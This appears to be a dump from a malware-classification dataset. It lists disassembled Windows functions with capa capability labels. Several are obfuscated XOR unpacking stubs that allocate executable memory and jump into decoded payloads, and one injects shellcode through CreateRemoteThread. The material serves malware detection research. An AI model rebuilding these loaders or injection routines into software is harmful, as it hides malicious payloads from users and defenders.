joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d76d
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4187a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408e17
mov dword [ebp - 0x14], eax
cmp dword [0x4b11d8], esi
jne 0x40d860
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d7ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d940
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d940
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d940
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4b11d8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4b11dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4b11e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4b11e8], eax
test eax, eax
je 0x40d85d
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4b11e4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d885
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d878
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d89a
push 4
pop eax
jmp 0x40d942
cmp dword [ebp - 0x14], esi
je 0x40d89a
push dword [0x4b11d8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d87f
mov eax, dword [0x4b11e4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d8f8
cmp dword [0x4b11e8], edi
je 0x40d8f8
push eax
call ebx
push dword [0x4b11e8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d8f8
test eax, eax
je 0x40d8f8
call ecx
test eax, eax
je 0x40d8ed
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d8ed
test byte [ebp - 8], 1
jne 0x40d8f8
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d928
mov eax, dword [0x4b11dc]
cmp eax, edi
je 0x40d925
push eax
call ebx
test eax, eax
je 0x40d925
call eax
mov esi, eax
test esi, esi
je 0x40d925
mov eax, dword [0x4b11e0]
cmp eax, edi
je 0x40d925
push eax
call ebx
test eax, eax
je 0x40d925
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4b11d8]
call ebx
test eax, eax
je 0x40d940
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d942
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041ee
mov esp, ebp
pop ebp
ret
Function at 0x4070d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4070e3
pop dword [ebp - 0x3c]
mov eax, 0xc7a023b6
sub eax, 0xc75fb2d3
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x8c9728d4
add dword [ebp - 0x4c], 0xc1bb1c77
mov dword [ebp - 0x48], 0xa2c83bf4
add dword [ebp - 0x48], 0x8f6b1051
mov dword [ebp - 0x44], 0x4410f724
sub dword [ebp - 0x44], 0xf7c4b2f6
mov dword [ebp - 0x40], 0xf7263288
sub dword [ebp - 0x40], 0xf7263288
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x3944326f
sub eax, 0x3903b16b
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x440aa8c2
add dword [ebp - 0x4c], 0x3067c094
mov dword [ebp - 0x48], 0x2325e7b1
sub dword [ebp - 0x48], 0xe1b9863c
mov dword [ebp - 0x44], 0xa3819545
sub dword [ebp - 0x44], 0x401228d9
mov dword [ebp - 0x40], 0x4bcaf0fd
add dword [ebp - 0x40], 0xb4350f03
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x58c24040
sub eax, 0x5881bf40
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3580c
push 0
call eax
mov ecx, 0xdeec98
sub ecx, 0xdeaad0
xor edx, edx
add edx, eax
mov ebx, 0xc5160e58
sub ebx, 0xc4d10a58
add ebx, dword [ebp - 0x3c]
mov esi, 0x74964949
xor dword [ebp - 0x38], ebx
mov edi, dword [ebx]
add dword [ebp - 0x34], ebx
xor edi, esi
add dword [ebp - 0x24], 0x798ca30d
mov dword [edx], edi
sub dword [ebp - 0xc], eax
add edx, 4
add ebx, 0x595e6ff
sub ebx, 0x595e6fb
loop 0x407201
add eax, 0x6c203691
sub eax, 0x6c1f3c9e
xor ebx, ebx
add ebx, eax
add eax, 0x343ea19a
sub eax, 0x343ea195
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10028fbc
Capabilities:
Get file size
Get system information on windows

Disassembly:
push 0x38
mov eax, 0x1006db8e
call fcn.1006ca02
mov esi, ecx
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x44], esi
mov dword [esi + 0x10], eax
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov ebx, dword [ebp + 0xc]
or dword [esi + 0x14], 0xffffffff
mov ecx, 0x1000
mov dword [ebp - 4], eax
mov dword [esi], fcn.10027600
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [ebp - 0x1c], ecx
test ebx, ebx
je 0x10029017
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, ebx
div ecx
push 0
push 0x8000080
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 0x14]
mov ecx, ebx
mov eax, edx
sub ecx, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
je 0x100290d2
cmp edi, 0xffffffff
jne 0x10029077
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.kernel32.dll_GetFileSize]
cmp dword [ebp - 0x14], 0
mov edi, eax
jne 0x100290d2
cmp edi, ebx
jbe 0x100290d2
cmp edi, 0xffffffff
je 0x100290d2
sub edi, ebx
xor eax, eax
push eax
push eax
push eax
push 2
push eax
push dword [esi + 0x14]
call dword [sym.imp.kernel32.dll_CreateFileMappingA]
mov ebx, dword [ebp - 0x40]
lea ecx, [edi + ebx]
mov dword [esi + 0x18], eax
cmp ecx, edi
jb 0x100290d2
test eax, eax
je 0x100290ad
push 0
push ecx
push dword [ebp - 0x3c]
push 0
push 4
push eax
call dword [sym.imp.kernel32.dll_MapViewOfFileEx]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x100290d2
push 0
push 0
lea ecx, [eax + ebx]
push edi
push ecx
mov ecx, esi
call fcn.10049c66
mov byte [esi + 5], 1
mov eax, esi
call fcn.1006ca85
ret 0xc
mov ecx, esi
call fcn.1002913d
push 0x1006ed24
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 1
call sub.MSVCR100.dll__CxxThrowException
int3

Function at 0x10049c66
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10049c75
pop dword [ebp - 0x2c]
mov eax, 0xfc24c3dd
sub eax, 0xec202768
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x4cda5
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x4754
mov edi, eax
mov edx, 0x373c4b37
add edx, 0xd8cb4ac9
add edx, dword [ebp - 0x2c]
mov esi, 0xe2bc510b
mov dword [ebp - 0x18], 0xe2cf8e3a
mov ebx, dword [edx]
xor dword [ebp - 0x14], ecx
xor ebx, esi
add dword [ebp - 0x24], edi
mov dword [edi], ebx
add edi, 0xbccddea0
sub edi, 0xbccdde9c
add edx, 0xadca54b4
add edx, 0x5235ab50
loop 0x10049cc3
add eax, 0x28521f9e
sub eax, 0x28510f7b
mov ebx, eax
add eax, 5
mov ecx, 0x929f2b5b
add ecx, 0x7d60d4a5
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441b00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404aab
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x441638
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x31
push section..data
push 0x1b600
mov esi, 0x426038
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x4417c0
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret

Function at 0x4039ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403a0e
jl 0x403a05
test edi, edi
jne 0x403a0e
xor eax, eax
xor edx, edx
jmp 0x403acf
cmp dword [ebx + 0x38], 0
je 0x403a23
push eax
push edi
push dword [ebp + 8]
call fcn.00403ad5
jmp 0x403acf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403a6a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403a6a
cmp eax, edi
jb 0x403a44
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405610
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403a70
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403ac4
mov ecx, ebx
call fcn.00403116
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403aaf
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040a942
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403ac4
jmp 0x403a82
test edx, edx
je 0x403ac4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a942
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x414a0d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x414a1c
pop dword [ebp - 0x10]
mov eax, 0x3bf010f9
sub eax, 0x3baec6dd
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x247e82ad
add dword [ebp - 0x20], 0x29d3c29e
mov dword [ebp - 0x1c], 0x31688476
sub dword [ebp - 0x1c], 0xff353831
mov dword [ebp - 0x18], 0x2372cbe4
sub dword [ebp - 0x18], 0xd72687b6
mov dword [ebp - 0x14], 0xe6dc240c
sub dword [ebp - 0x14], 0xe6dc240c
lea eax, [ebp - 0x20]
push eax
mov eax, 0x9a6863f6
add eax, 0x65d7ad92
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xcf8d7001
sub dword [ebp - 0x20], 0x5b1b06ab
mov dword [ebp - 0x1c], 0x13d8289f
add dword [ebp - 0x1c], 0x2d9438d6
mov dword [ebp - 0x18], 0x5fedc2e1
add dword [ebp - 0x18], 0x381a98b
mov dword [ebp - 0x14], 0xe67bb70a
sub dword [ebp - 0x14], 0xe67bb70a
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xaf77b62c
sub eax, 0xaf37a448
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3e76e
push 0
call eax
mov ecx, 0xf8689ea8
add ecx, 0x797b717
xor esi, esi
add esi, eax
mov edi, 0xc519eeeb
add edi, 0x3b2e6f15
add edi, dword [ebp - 0x10]
mov edx, 0x8aa3dd65
sub edx, 0xbc8923e0
sub dword [ebp - 0xc], esi
mov ebx, dword [edi]
xor dword [ebp - 4], 0x9cbc2e67
sub ebx, edx
xor dword [ebp - 0xc], 0x8e32ee84
mov dword [esi], ebx
mov dword [ebp - 4], 0xbd7884b5
add esi, 4
add edi, 4
loop 0x414b40
add eax, 0x149cf
mov ebx, eax
add eax, 5
mov ecx, 0x551a9026
sub ecx, 0x54da9026
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x417536
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x425661
call fcn.0041de82
mov ebx, dword [ebp + 8]
xor edi, edi
or esi, 0xffffffff
test edi, edi
jne 0x41755f
cmp dword [0x458fa4], edi
je 0x417649
push 2
pop ebx
jmp 0x417579
cmp edi, 1
jne 0x417649
mov eax, ebx
call fcn.00418427
test al, al
je 0x417649
xor ebx, ebx
lea ecx, [ebp - 0xd]
mov dword [ebp - 0x1c], ebx
call fcn.00418449
mov ecx, dword [ebp + 8]
xor eax, eax
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
movzx eax, word [ecx + 0xc]
shr eax, 1
and eax, 0x10
or eax, ebx
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ecx + 8]
jmp 0x41762b
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4175c0
mov eax, dword [ebx]
push ecx
push dword [ebp + 0xc]
lea ecx, [ebp - 0x20]
push ecx
push 0
push dword [ebp + 0x18]
push eax
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov esi, eax
call fcn.00417c20
test eax, eax
je 0x41765d
push 0x1c049f
push 0
call fcn.00414a0d
mov esi, dword [ebp + 8]
mov eax, dword [esi + 8]
movzx eax, word [eax + 6]
and eax, 0xf
imul eax, eax, 0xc
and dword [eax + 0x428098], 0
push ebx
mov ecx, 0x458fb8
call fcn.00414a0d
movzx eax, word [esi + 0xc]
and dword [ebp - 0x14], 0
shr eax, 1
and eax, 0x10
or eax, dword [ebp - 0x1c]
push 0
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 8]
call fcn.00417d37
mov esi, eax
test esi, esi
je 0x4175ac
mov ebx, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd]
call fcn.0041846a
inc edi
cmp edi, 2
jl 0x417547
mov eax, esi
call fcn.0041df5a
ret 0x18
push ebx
mov ecx, 0x458fb8
call fcn.00414a0d
mov ebx, dword [ebp + 8]
test esi, esi
jne 0x41763d
movzx ecx, word [ebx + 0xc]
mov eax, ecx
and eax, 0xf
cmp dword [ebp - 0x20], eax
je 0x417698
cmp dword [ebp - 0x20], 3
jne 0x417693
mov eax, dword [ebp + 0x14]
cmp dword [eax], 4
jne 0x417693
and cl, 0xf
cmp cl, 4
je 0x417698
push 2
pop esi
jmp 0x41763d
mov eax, dword [ebp + 0x1c]
lea ecx, [ebp - 0xd]
mov dword [eax], 1
call fcn.0041846a
xor eax, eax
jmp 0x417655
Function at 0x417b21
Capabilities:
Query or enumerate registry value

Disassembly:
push 4
mov eax, 0x4256d2
call fcn.0041de82
mov esi, dword [ebp + 8]
cmp esi, dword [0x458fac]
jne 0x417b3f
xor al, al
jmp 0x417c18
mov bl, byte [ebp + 0xc]
test bl, bl
je 0x417b50
xor ecx, ecx
cmp dword [0x458fa4], ecx
jmp 0x417b5b
mov eax, esi
call fcn.00418427
xor ecx, ecx
test al, al
sete cl
test ecx, ecx
jne 0x417b38
xor edi, edi
lea ecx, [ebp + 0xf]
mov dword [ebp + 8], edi
mov dword [ebp - 0x10], edi
call fcn.00418449
mov dword [ebp - 4], edi
movzx edi, bl
neg edi
sbb edi, edi
and edi, 2
xor ebx, ebx
jmp 0x417bd9
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x417b8f
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push dword [esi]
push eax
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov ebx, eax
call fcn.00417c20
test eax, eax
je 0x417bfe
push 0x1c04c2
xor ebx, ebx
push ebx
call fcn.00414a0d
mov eax, dword [esi + 8]
movzx eax, word [eax + 6]
push dword [ebp + 8]
and eax, 0xf
imul eax, eax, 0xc
mov ecx, 0x458fb8
mov dword [eax + 0x428098], ebx
call fcn.00414a0d
mov dword [ebp + 8], ebx
movzx eax, word [esi + 0xc]
shr eax, 1
and eax, 0x10
push ebx
or eax, edi
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
push dword [esi + 8]
call fcn.00417d37
mov ebx, eax
test ebx, ebx
je 0x417b83
jmp 0x417c0b
push dword [ebp + 8]
mov ecx, 0x458fb8
call fcn.00414a0d
lea ecx, [ebp + 0xf]
call fcn.0041846a
test ebx, ebx
sete al
call fcn.0041df5a
ret 8
Function at 0x41848b
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x425728
call fcn.0041de82
mov esi, dword [ebp + 8]
cmp esi, dword [0x458fac]
jne 0x4184a9
xor eax, eax
jmp 0x41860e
and dword [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x18], ecx
xor ebx, ebx
or edi, 0xffffffff
test ebx, ebx
jne 0x4184cc
cmp dword [0x458fa4], ebx
je 0x4185ce
push 2
pop edi
jmp 0x4184e6
cmp ebx, 1
jne 0x4185ce
mov eax, esi
call fcn.00418427
test al, al
je 0x4185ce
xor edi, edi
and dword [ebp - 0x10], 0
lea ecx, [ebp + 0xb]
mov dword [ebp - 0x20], edi
call fcn.00418449
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
push eax
movzx eax, word [esi + 0xc]
shr eax, 1
and eax, 0x10
or eax, edi
jmp 0x418591
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x41851a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
lea ecx, [ebp - 0x18]
push ecx
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
push dword [esi]
push eax
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
cmp dword [ebp - 0x18], 2
mov edi, eax
jae 0x418546
cmp dword [ebp - 0x1c], 1
je 0x418543
cmp dword [ebp - 0x1c], 2
jne 0x418546
push 2
pop edi
mov eax, edi
call fcn.00417c20
test eax, eax
je 0x4185ae
push 0x1c0496
xor edi, edi
push edi
call fcn.00414a0d
mov eax, dword [esi + 8]
movzx eax, word [eax + 6]
push dword [ebp - 0x10]
and eax, 0xf
imul eax, eax, 0xc
mov ecx, 0x458fb8
mov dword [eax + 0x428098], edi
call fcn.00414a0d
movzx eax, word [esi + 0xc]
shr eax, 1
and eax, 0x10
or eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], edi
push edi
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [esi + 8]
call fcn.00417d37
mov edi, eax
test edi, edi
je 0x41850e
jmp 0x4185bf
push dword [ebp - 0x10]
mov ecx, 0x458fb8
call fcn.00414a0d
test edi, edi
je 0x4185da
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xb]
call fcn.0041846a
mov ecx, dword [ebp - 0x18]
inc ebx
cmp ebx, 2
jl 0x4184b4
jmp 0x4185e9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xb]
call fcn.0041846a
mov ecx, dword [ebp - 0x18]
test edi, edi
jne 0x418604
cmp dword [ebp - 0x1c], 2
je 0x4185fc
mov al, byte [esi + 0xc]
and al, 0xf
cmp al, 2
jne 0x41860c
push ecx
call fcn.00414a0d
jmp 0x41860a
push esi
call fcn.00414a0d
mov ecx, eax
mov eax, ecx
call fcn.0041df5a
ret 4
Function at 0x41dddf
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x425fd0
call fcn.0041e44f
xor ebx, ebx
cmp dword [0x45af28], ebx
jne 0x41dbbd
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x45af1c
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x41dbf7
cmp eax, esi
jne 0x41dbea
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x41dbfa
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x41dbd1
xor esi, esi
inc esi
mov eax, dword [0x45af18]
cmp eax, esi
jne 0x41dc0d
push 0x1f
call sub.msvcr100.dll__amsg_exit
pop ecx
jmp 0x41dc48
mov eax, dword [0x45af18]
test eax, eax
jne 0x41dc42
mov dword [0x45af18], esi
push 0x401348
push 0x401334
call sub.msvcr100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x41dc48
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x41dd1f
mov dword [0x4598a8], esi
mov eax, dword [0x45af18]
cmp eax, esi
jne 0x41dc6c
push 0x401330
push 0x401308
call sub.msvcr100.dll__initterm
pop ecx
pop ecx
mov dword [0x45af18], 2
cmp dword [ebp - 0x1c], ebx
jne 0x41dc79
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x45af2c], ebx
je 0x41dc9a
push 0x45af2c
call fcn.00414a0d
pop ecx
test eax, eax
je 0x41dc9a
push ebx
push 2
push ebx
call dword [0x45af2c]
mov eax, dword [0x459890]
mov ecx, dword [sym.imp.msvcr100.dll___initenv]
mov dword [ecx], eax
push dword [0x459890]
push dword [0x459894]
push dword [0x45988c]
call fcn.00414a0d
add esp, 0xc
mov dword [0x4598a4], eax
cmp dword [0x459898], ebx
jne 0x41dd05
push eax
call dword [sym.imp.msvcr100.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcr100.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x4598a8], ebx
jne 0x41dd13
call dword [sym.imp.msvcr100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x4598a4]
call fcn.0041e494
ret
call fcn.00414a0d
jmp 0x41db9c
Function at 0x401810
Capabilities:
Terminate thread

Disassembly:
sub esp, 0x1c
xor eax, eax
mov byte [0x404008], al
mov eax, dword [0x407040]
xor edx, edx
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
sub esp, 8
mov dword [esp], 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
sub esp, 4
add esp, 0x1c
ret

Function at 0x401e20
Capabilities:
Enumerate processes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x14c
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401e3e
mov dword [esp], 0xfa
call esi
sub esp, 4
mov dword [esp], 2
xor edx, edx
mov dword [esp + 4], edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
cmp eax, 0xffffffff
mov ebx, eax
je 0x401e32
mov dword [esp], ebx
lea ebp, [esp + 0x18]
mov eax, 0x128
mov dword [esp + 4], ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
jne 0x401eac
jmp 0x401ee2
mov esi, str.ProjectModul4.exe
mov ecx, 0x12
lea edi, [esp + 0x3c]
repe cmpsb byte [esi], byte es:[edi]
seta al
sbb al, 0
test al, al
je 0x401ec5
mov dword [esp + 4], ebp
mov dword [esp], ebx
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
je 0x401ee2
mov ecx, 0xd
mov esi, str.Project1.exe
lea edi, [esp + 0x3c]
repe cmpsb byte [esi], byte es:[edi]
seta al
sbb al, 0
test al, al
jne 0x401e80
mov esi, dword [esp + 0x20]
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
sub esp, 4
add esp, 0x14c
pop ebx
pop esi
pop edi
pop ebp
ret
xor esi, esi
jmp 0x401ec9